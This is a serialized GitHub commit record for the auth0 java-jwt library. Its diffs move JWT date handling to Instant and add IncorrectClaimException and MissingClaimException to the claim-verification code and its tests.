         assertThat(claim.asArray(Object.class), is(nullValue()));u}(j   (96b79afaf54a166f2bfa2a38f9dee481aa51cc4bj  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedj  Kj  Kj  K&j  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -19,6 +19,7 @@
 import org.junit.rules.ExpectedException;
 
 import java.io.StringReader;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -96,6 +97,9 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
+        assertThat(payload.getIssuedAtAsInstant().getEpochSecond(), is(10101010L));
+        assertThat(payload.getExpiresAtAsInstant().getEpochSecond(), is(11111111L));
+        assertThat(payload.getNotBeforeAsInstant().getEpochSecond(), is(10101011L));
         assertThat(payload.getId(), is("idid"));
 
         assertThat(payload.getClaim("roles").asString(), is("admin"));
@@ -177,24 +181,23 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         assertThat(values, is(nullValue()));
     }
 
-
     @Test
-    public void shouldGetNullDateWhenParsingNullNode() {
+    public void shouldGetNullInstantWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullDateWhenParsingNull() {
+    public void shouldGetNullInstantWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant  = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
@@ -206,32 +209,33 @@ public void shouldThrowWhenParsingNonNumericNode() {
         TextNode node = new TextNode("123456789");
         tree.put("key", node);
 
-        deserializer.getDateFromSeconds(tree, "key");
+        deserializer.getInstantFromSeconds(tree, "key");
     }
 
     @Test
-    public void shouldGetDateWhenParsingNumericNode() {
+    public void shouldGetInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = 1478627949 / 1000;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
     }
 
+
     @Test
-    public void shouldGetLargeDateWhenParsingNumericNode() {
+    public void shouldGetLargeInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = Integer.MAX_VALUE + 10000L;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
-        assertThat(date.getTime(), is(2147493647L * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
+        assertThat(instant.toEpochMilli(), is(2147493647L * 1000));
     }
 
     @Testu}(j   (1d3218ed2d82c261deacf0a640068fb4220fca5cj  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -11,8 +11,8 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
-import org.mockito.Mockito;
 
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
@@ -25,38 +25,33 @@ public class PayloadImplTest {
     public ExpectedException exception = ExpectedException.none();
 
     private PayloadImpl payload;
-    private Date expiresAt;
-    private Date notBefore;
-    private Date issuedAt;
+    private final Instant expiresAt = Instant.now().plusSeconds(10);
+    private final Instant notBefore = Instant.now();
+    private final Instant issuedAt = Instant.now();
 
-    private ObjectMapper mapper;
     private ObjectReader objectReader;
 
     @Before
     public void setUp() {
-        mapper = getDefaultObjectMapper();
+        ObjectMapper mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
 
-        expiresAt = Mockito.mock(Date.class);
-        notBefore = Mockito.mock(Date.class);
-        issuedAt = Mockito.mock(Date.class);
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         payload = new PayloadImpl("issuer", "subject", Collections.singletonList("audience"), expiresAt, notBefore, issuedAt, "jwtId", tree, objectReader);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<>(), objectReader);
         payload.getTree().put("something", null);
     }
 
     @Test
     public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<String>(), null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<>(), null, null, null, null, null, objectReader);
         payload.getAudience().add("something");
     }
 
@@ -104,40 +99,46 @@ public void shouldGetNullAudienceIfMissing() {
     @Test
     public void shouldGetExpiresAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getExpiresAt(), is(expiresAt));
+        assertThat(payload.getExpiresAt(), is(Date.from(expiresAt)));
+        assertThat(payload.getExpiresAtAsInstant(), is(expiresAt));
     }
 
     @Test
     public void shouldGetNullExpiresAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
     }
 
     @Test
     public void shouldGetNotBefore() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getNotBefore(), is(notBefore));
+        assertThat(payload.getNotBefore(), is(Date.from(notBefore)));
+        assertThat(payload.getNotBeforeAsInstant(), is(notBefore));
     }
 
     @Test
     public void shouldGetNullNotBeforeIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
     }
 
     @Test
     public void shouldGetIssuedAt() {
         assertThat(payload, is(notNullValue()));
-        assertThat(payload.getIssuedAt(), is(issuedAt));
+        assertThat(payload.getIssuedAt(), is(Date.from(issuedAt)));
+        assertThat(payload.getIssuedAtAsInstant(), is(issuedAt));
     }
 
     @Test
     public void shouldGetNullIssuedAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
     }
 
     @Testu}(j   (120f6a9d83947f615abafb83ebf2b3ff229c3454j  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj  addedj  K]j  K j  K]j  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -0,0 +1,93 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.exceptions.JWTDecodeException;
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class ClaimTest {
+
+    @Test
+    public void shouldGetInstantUsingDefault() {
+        Date date = new Date(1646667492000L);
+        Claim claim = new ClaimImplForTest(date);
+        assertThat(claim.asInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetNullInstantUsingDefault() {
+        Claim claim = new ClaimImplForTest(null);
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
+    /**
+     * Implementation that does not override {@code asInstant()}
+     */
+    static class ClaimImplForTest implements Claim {
+        private final Date date;
+
+        ClaimImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public boolean isNull() {
+            return false;
+        }
+
+        @Override
+        public Boolean asBoolean() {
+            return null;
+        }
+
+        @Override
+        public Integer asInt() {
+            return null;
+        }
+
+        @Override
+        public Long asLong() {
+            return null;
+        }
+
+        @Override
+        public Double asDouble() {
+            return null;
+        }
+
+        @Override
+        public String asString() {
+            return null;
+        }
+
+        @Override
+        public Date asDate() {
+            return date;
+        }
+
+        @Override
+        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public Map<String, Object> asMap() throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+    }
+}u}(j   (c5d2bd00ac72fefcc5cf1a101f3ebf561fc112c9j  ;lib/src/test/java/com/auth0/jwt/interfaces/PayloadTest.javaj  addedj  KSj  K j  KSj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X*  @@ -0,0 +1,83 @@
+package com.auth0.jwt.interfaces;
+
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class PayloadTest {
+
+    @Test
+    public void shouldGetInstantFromDefault() {
+        Date date = new Date(1646667492000L);
+        Payload payload = new PayloadImplForTest(date);
+        assertThat(payload.getExpiresAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getIssuedAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getNotBeforeAsInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetInstantFromDefaultAsNu() {
+        Payload payload = new PayloadImplForTest(null);
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
+    }
+
+    static class PayloadImplForTest implements Payload {
+        private final Date date;
+
+        PayloadImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public String getIssuer() {
+            return null;
+        }
+
+        @Override
+        public String getSubject() {
+            return null;
+        }
+
+        @Override
+        public List<String> getAudience() {
+            return null;
+        }
+
+        @Override
+        public Date getExpiresAt() {
+            return date;
+        }
+
+        @Override
+        public Date getNotBefore() {
+            return date;
+        }
+
+        @Override
+        public Date getIssuedAt() {
+            return date;
+        }
+
+        @Override
+        public String getId() {
+            return null;
+        }
+
+        @Override
+        public Claim getClaim(String name) {
+            return null;
+        }
+
+        @Override
+        public Map<String, Claim> getClaims() {
+            return null;
+        }
+    }
+}ueu(cb7c90096acd36c8fb814e877ba39a783e73706f}(sha(cb7c90096acd36c8fb814e877ba39a783e73706fnode_idEC_kwDOAQtL0doAKGNiN2M5MDA5NmFjZDM2YzhmYjgxNGU4NzdiYTM5YTc4M2U3MzcwNmYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T20:22:10Zu	committer}(j5  
Poovamraj T Tj7  poovamraj@gmail.comj9  2022-03-25T20:22:10Zumessage,Improve exception handling

TODO: cover docstree}(j-  (387600d0977647cbd956c546b01fe33667e47a95url^https://api.github.com/repos/auth0/java-jwt/git/trees/387600d0977647cbd956c546b01fe33667e47a95ujE  `https://api.github.com/repos/auth0/java-jwt/git/commits/cb7c90096acd36c8fb814e877ba39a783e73706f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujE  \https://api.github.com/repos/auth0/java-jwt/commits/cb7c90096acd36c8fb814e877ba39a783e73706fhtml_urlQhttps://github.com/auth0/java-jwt/commit/cb7c90096acd36c8fb814e877ba39a783e73706fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/cb7c90096acd36c8fb814e877ba39a783e73706f/commentsj3  }(login	poovamrajidJ j/  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jE  &https://api.github.com/users/poovamrajjQ  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj;  }(jV  	poovamrajjX  J j/  MDQ6VXNlcjE1OTEwNDI1jZ  4https://avatars.githubusercontent.com/u/15910425?v=4j\  h3jE  &https://api.github.com/users/poovamrajjQ  https://github.com/poovamrajj_  0https://api.github.com/users/poovamraj/followersja  =https://api.github.com/users/poovamraj/following{/other_user}jc  6https://api.github.com/users/poovamraj/gists{/gist_id}je  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jg  4https://api.github.com/users/poovamraj/subscriptionsji  +https://api.github.com/users/poovamraj/orgsjk  ,https://api.github.com/users/poovamraj/reposjm  7https://api.github.com/users/poovamraj/events{/privacy}jo  6https://api.github.com/users/poovamraj/received_eventsjq  Userjs  uparents]}(j-  (e37301aad52681174bcd2dc39844ab56408e7b8ajE  \https://api.github.com/repos/auth0/java-jwt/commits/e37301aad52681174bcd2dc39844ab56408e7b8ajQ  Qhttps://github.com/auth0/java-jwt/commit/e37301aad52681174bcd2dc39844ab56408e7b8auastats}(totalM	additionsMa	deletionsKDufiles](}(j-  (39c83bad93eca412ab9539696933baf6e442a97bfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  K1j  K changesKQblob_urlhttps://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fpatchXC"  @@ -72,7 +72,8 @@ public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
             checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
                 if (value == null || !value.contains(claim.asString())) {
-                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                    throw new IncorrectClaimException(
+                            "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
                 }
                 return true;
             }));
@@ -89,15 +90,15 @@ public Verification withSubject(String subject) {
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
             checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
+                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
             checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
+                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -144,12 +145,7 @@ public Verification withJWTId(String jwtId) {
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            withClaim(name, ((claim, decodedJWT) -> {
-                if (claim.isMissing()) {
-                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
-                }
-                return true;
-            }));
+            withClaim(name, ((claim, decodedJWT) -> assertClaimPresence(name, claim)));
             return this;
         }
 
@@ -272,13 +268,13 @@ private void addMandatoryClaimChecks() {
             long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
             long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
 
-            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
-                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true)));
-            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
-                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false)));
+            expectedChecks.put(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
+            expectedChecks.put(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
             if (!ignoreIssuedAt) {
-                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
-                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false)));
+                expectedChecks.put(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false));
             }
         }
 
@@ -305,33 +301,50 @@ private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimVa
             return claimArr.containsAll(valueArr);
         }
 
-        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+        private boolean assertValidInstantClaim(String claimName, Claim claim, long leeway, boolean shouldBeFuture) {
+            Instant claimVal = claim.asInstant();
             Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            boolean isValid;
             if (shouldBeFuture) {
-                return assertInstantIsFuture(claimVal, leeway, now);
+                isValid = assertInstantIsFuture(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
+                }
             } else {
-                return assertInstantIsPast(claimVal, leeway, now);
+                isValid = assertInstantIsPast(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new IncorrectClaimException(
+                            String.format("The Token can't be used before %s.", claimVal), claimName, claim);
+                }
             }
+            return true;
         }
 
         private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-            }
-            return true;
+            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
         }
 
         private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-            }
-            return true;
+            return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
         }
 
-        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+        private boolean assertValidAudienceClaim(
+                Claim claim,
+                List<String> audience,
+                List<String> values,
+                boolean shouldContainAll
+        ) {
             if (audience == null || (shouldContainAll && !audience.containsAll(values))
                     || (!shouldContainAll && Collections.disjoint(audience, values))) {
-                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
+                throw new IncorrectClaimException(
+                        "The Claim 'aud' value doesn't contain the required audience.", PublicClaims.AUDIENCE, claim);
+            }
+            return true;
+        }
+
+        private boolean assertClaimPresence(String name, Claim claim) {
+            if (claim.isMissing()) {
+                throw new MissingClaimException(name);
             }
             return true;
         }
@@ -353,7 +366,8 @@ private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, D
                 expectedChecks.remove(name);
                 return;
             }
-            expectedChecks.put(name, predicate);
+            expectedChecks.put(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
+                    && predicate.test(claim, decodedJWT));
         }
 
         private boolean isNullOrEmpty(String[] args) {
@@ -381,7 +395,7 @@ private boolean isNullOrEmpty(String[] args) {
      *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws InvalidClaimException          if a claim contained a different value than the expected one.//todo change docs
      */
     @Override
     public DecodedJWT verify(String token) throws JWTVerificationException {
@@ -426,8 +440,11 @@ private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, Decoded
             isValid = expectedCheck.test(claim, jwt);
 
             if (!isValid) {
-                throw new InvalidClaimException(
-                        String.format("The Claim '%s' value doesn't match the required one.", claimName));
+                throw new IncorrectClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName),
+                        claimName,
+                        claim
+                );
             }
         }
     }u'     }(j-  (fc02b7559e8cbbdd5096a368974438ace80635b9j  Glib/src/main/java/com/auth0/jwt/exceptions/IncorrectClaimException.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  X  @@ -0,0 +1,26 @@
+package com.auth0.jwt.exceptions;
+
+import com.auth0.jwt.interfaces.Claim;
+
+/**
+ * This exception is thrown when the expected value is not found while verifying the Claims.
+ */
+public class IncorrectClaimException extends InvalidClaimException {
+    private final String claimName;
+
+    private final Claim claimValue;
+
+    public IncorrectClaimException(String message, String claimName, Claim claim) {
+        super(message);
+        this.claimName = claimName;
+        this.claimValue = claim;
+    }
+
+    public String getClaimName() {
+        return claimName;
+    }
+
+    public Claim getClaimValue() {
+        return claimValue;
+    }
+}
\ No newline at end of fileu}(j-  (d1e96ca80a30ad83157fec56c770035078d3d450j  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  XJ  @@ -8,3 +8,20 @@ public InvalidClaimException(String message) {
         super(message);
     }
 }
+
+//if we introduce 2 seperate instance like missing and incorrect,
+//then even missing claims which won't be equal would come under incorrect
+//also providing many exception types for same value could be cumbersome like
+//  try {
+//        verify() }
+//  catch(MissingException e) { } catch (IncorrectException e) { } and so on ...
+// instead if we just provide the found claim value, they can do - claim.isNull(), claim.isMissing(), claim.asString() etc..
+// also, this way new existing API will continue working with more features
+// pro - use of existing APIs, much less code
+// con - less concise
+
+//what would you say when a verification fails because of missing claim, is it missingclaimexception or invalidclaimexception
+
+// invalidclaim doesn't have claim name  even though it is common between missing and incorrect so as to not bog down
+
+//using seperate matcher since hasProperty matcher checks only private and we need to test the method call
\ No newline at end of fileu}(j-  (14e6d4b5e522dc96c5ca847c839b6ab11bb64d47j  Elib/src/main/java/com/auth0/jwt/exceptions/MissingClaimException.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  X  @@ -0,0 +1,18 @@
+package com.auth0.jwt.exceptions;
+
+/**
+ * This exception is thrown when the claim to be verified is missing
+ */
+public class MissingClaimException extends InvalidClaimException {
+
+    private final String claimName;
+
+    public MissingClaimException(String claimName) {
+        super(String.format("The Claim '%s' is not present in the JWT.", claimName));
+        this.claimName = claimName;
+    }
+
+    public String getClaimName() {
+        return claimName;
+    }
+}u}(j-  (42ab090d4c0020ee15245679f0001bf48ae13246j  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://github.com/auth0/java-jwt/raw/cb7c90096acd36c8fb814e877ba39a783e73706f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=cb7c90096acd36c8fb814e877ba39a783e73706fj  X_  @@ -1,13 +1,22 @@
 package com.auth0.jwt.exceptions;
 
+import java.time.Instant;
+
 /**
  * The exception that is thrown if the token is expired.
  */
 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;
 
-    public TokenExpiredException(String message) {
+    private final Instant expiredOn;
+
+    public TokenExpiredException(String message, Instant expiredOn) {
         super(message);
+        this.expiredOn = expiredOn;
+    }
+
+    public Instant getExpiredOn() {
+        return expiredOn;
     }
